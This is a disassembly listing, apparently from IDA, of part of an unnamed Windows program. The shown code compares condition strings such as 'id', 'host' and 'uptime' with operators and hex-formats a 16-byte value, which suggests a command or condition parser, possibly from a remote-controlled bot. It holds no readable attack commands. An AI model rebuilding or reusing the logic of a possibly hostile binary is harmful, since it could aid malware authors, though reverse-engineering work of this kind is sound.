; CODE XREF: sub_401E0Bj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401582 add esp, 2000h retn sub_412900 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412970 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412970 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_4129A7 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_4129A7: ; CODE XREF: sub_412970+21j lea ecx, [esp+40h+var_3C] call sub_401424 mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_4129C8 mov eax, dword_447100 push eax jmp short loc_4129CF ; --------------------------------------------------------------------------- loc_4129C8: ; CODE XREF: sub_412970+4Ej mov ecx, dword_447108 push ecx loc_4129CF: ; CODE XREF: sub_412970+56j lea ecx, [esp+44h+var_3C] call sub_4015D7 push ebx lea ecx, [esp+44h+var_24] call sub_401424 mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+50h+var_24] push offset dword_443CEC push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014D3 push eax mov ecx, esi call sub_401582 lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412970 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412AA0 proc near ; CODE XREF: sub_401848j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_436840 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412AA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B20 proc near ; CODE XREF: sub_401D0Cj push esi mov esi, ecx call sub_401FB9 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412B20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B50 proc near ; CODE XREF: sub_401FB9j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_448C9E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401537 pop esi retn sub_412B50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B90 proc near ; CODE XREF: sub_401721j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412B90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412BC0 proc near ; CODE XREF: sub_401B54j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412BC0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C10 proc near ; CODE XREF: sub_401F00j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412C10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_412C10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412CB0: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43994E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_412FD6 push ebx push edi push offset asc_443600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016AE push offset asc_443600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016AE push offset asc_443600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016AE mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013D9 lea ecx, [esp+28h] mov ebx, eax call sub_4013D9 lea ecx, [esp+40h] add ebx, eax call sub_4013D9 mov ecx, edi add ebx, eax call sub_4013D9 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E2E push offset asc_443600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016AE lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E2E push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40200E lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40200E push offset asc_443D40 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E35 xor edi, edi loc_412E35: ; CODE XREF: ___:00412E31j push offset asc_443D3C ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E4C mov edi, 1 loc_412E4C: ; CODE XREF: ___:00412E45j push offset asc_443D38 ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E63 mov edi, 2 loc_412E63: ; CODE XREF: ___:00412E5Cj push offset asc_443D34 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412E7A mov edi, 3 loc_412E7A: ; CODE XREF: ___:00412E73j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412ED4 test edi, edi jnz short loc_412EAA lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jz short loc_412ED4 jmp short loc_412EC7 ; --------------------------------------------------------------------------- loc_412EAA: ; CODE XREF: ___:00412E8Ej cmp edi, 1 jnz short loc_412ED4 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset word_44759A call sub_4012EE test eax, eax jnz short loc_412ED4 loc_412EC7: ; CODE XREF: ___:00412EA8j push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412ED4: ; CODE XREF: ___:00412E8Aj ; ___:00412EA6j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F27 test edi, edi jnz short loc_412F08 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jnz loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F08: ; CODE XREF: ___:00412EE8j cmp edi, 1 jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, offset byte_4D60DD call sub_4013E3 test eax, eax jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F27: ; CODE XREF: ___:00412EE4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412F89 lea ecx, [esp+10h] call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 mov ebx, eax call sub_401654 test edi, edi jnz short loc_412F5D cmp eax, ebx jz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F5D: ; CODE XREF: ___:00412F55j cmp edi, 1 jnz short loc_412F68 cmp eax, ebx jnz short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F68: ; CODE XREF: ___:00412F60j cmp edi, 2 jnz short loc_412F73 cmp eax, ebx jle short loc_412F89 jmp short loc_412F7C ; --------------------------------------------------------------------------- loc_412F73: ; CODE XREF: ___:00412F6Bj cmp edi, 3 jnz short loc_412F89 cmp eax, ebx jge short loc_412F89 loc_412F7C: ; CODE XREF: ___:00412F06j ; ___:00412F25j ... push 0 push esi mov ecx, offset byte_4472B7 call sub_401A32 loc_412F89: ; CODE XREF: ___:00412F00j ; ___:00412F0Bj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD6: ; CODE XREF: ___:00412CE9j mov al, 1 loc_412FD8: ; CODE XREF: ___:00412FD4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130E0 proc near ; CODE XREF: sub_401654j nop call near ptr 27F06DAh mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4130E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413120 proc near ; CODE XREF: sub_401FFAj var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413120 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401749 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F05 sub_413120 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401843 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43E044 call sub_401924 mov ecx, ebx call sub_401C62 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j push esi mov esi, ecx call sub_401C8F sub_4131F0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_413208 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_413208: ; CODE XREF: ___:004131FDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413220 proc near ; CODE XREF: sub_401C8Fj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_413220 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43E044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401924 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C62 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014B5 sub_413220 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132E0 proc near ; CODE XREF: sub_4019F6j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4132E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019B5 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401CD0j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4133D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017E4 test eax, eax jz short loc_413477 lea ecx, [esp+18h+var_14] call sub_402252 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_4018F2 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413477 loc_413438: ; CODE XREF: sub_4133D0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B72 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41349C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413438 loc_413477: ; CODE XREF: sub_4133D0+2Ej ; sub_4133D0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41349C: ; CODE XREF: sub_4133D0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4133D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413510 proc near ; CODE XREF: sub_402112j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_413510 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017E4 test eax, eax jz loc_4135E3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401983 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jz short loc_4135E3 loc_41357F: ; CODE XREF: sub_413510+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014C9 mov ecx, ebx call sub_401CD0 mov esi, eax test esi, esi jz short loc_4135AC mov edi, [esi] loc_4135AC: ; CODE XREF: sub_413510+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B72 test eax, eax jz short loc_41360B test esi, esi jnz short loc_41360B lea ecx, [esp+28h+var_18] call sub_4018B6 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402234 push eax lea ecx, [esp+2Ch+var_18] call sub_401AD7 test al, al jnz short loc_41357F loc_4135E3: ; CODE XREF: sub_413510+31j ; sub_413510+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4135F6: ; CODE XREF: sub_413510+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_41360B: ; CODE XREF: sub_413510+AAj ; sub_413510+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4135F6 sub_413510 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413670 proc near ; CODE XREF: sub_401F46j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017E4 test eax, eax jz short loc_413714 lea ecx, [esp+14h+var_14] call sub_401E1F lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jz short loc_413714 loc_4136D6: ; CODE XREF: sub_413670+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FA5 mov ecx, [eax] call sub_401B72 test eax, eax jz short loc_413746 lea ecx, [esp+14h+var_14] call sub_4020A4 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D89 push eax lea ecx, [esp+18h+var_14] call sub_401D5C test al, al jnz short loc_4136D6 loc_413714: ; CODE XREF: sub_413670+2Bj ; sub_413670+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401578 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413746: ; CODE XREF: sub_413670+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FA5 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401578 sub_413670 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4137E0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4137E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017E4 test eax, eax jz loc_413913 lea eax, [esp+0A8h+var_64] push eax call sub_401A55 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_401424 push offset byte_446F70 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015D7 lea ecx, [esp+0A8h+arg_0] call sub_4013D9 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014D3 lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C12 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402158 add esp, 14h loc_41387B: ; CODE XREF: sub_4137E0+E8j lea ecx, [esp+0A8h+var_8C] call sub_401424 xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016BD lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41387B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B72 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_41390E call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_41392C ; --------------------------------------------------------------------------- loc_41390E: ; CODE XREF: sub_4137E0+10Cj call sub_401226 loc_413913: ; CODE XREF: sub_4137E0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_41392C: ; CODE XREF: sub_4137E0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4137E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4139B0 proc near ; CODE XREF: sub_40191Fj var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4139B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014C9 mov ecx, esi call sub_402112 test eax, eax jz short loc_413A5E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_40171C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014C9 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F46 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413A5E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413A5E: ; CODE XREF: sub_4139B0+3Fj ; sub_4139B0+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_4139B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413AE0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_439B08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401861 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401861 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40191F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413B70 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413B70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413CB9 lea ecx, [esp+48h+arg_0] call sub_4017E4 test eax, eax jz loc_413CB9 push esi push edi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413C93 add ebp, 54h loc_413BF0: ; CODE XREF: sub_413B70+11Dj push 15h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413C10 mov ecx, eax call sub_401F2D jmp short loc_413C12 ; --------------------------------------------------------------------------- loc_413C10: ; CODE XREF: sub_413B70+95j xor eax, eax loc_413C12: ; CODE XREF: sub_413B70+9Ej push offset asc_443C94 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016AE mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40200E lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_40147E ; --------------------------------------------------------------------------- inc esi push offset asc_443C94 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016AE push offset byte_446F70 mov ecx, eax 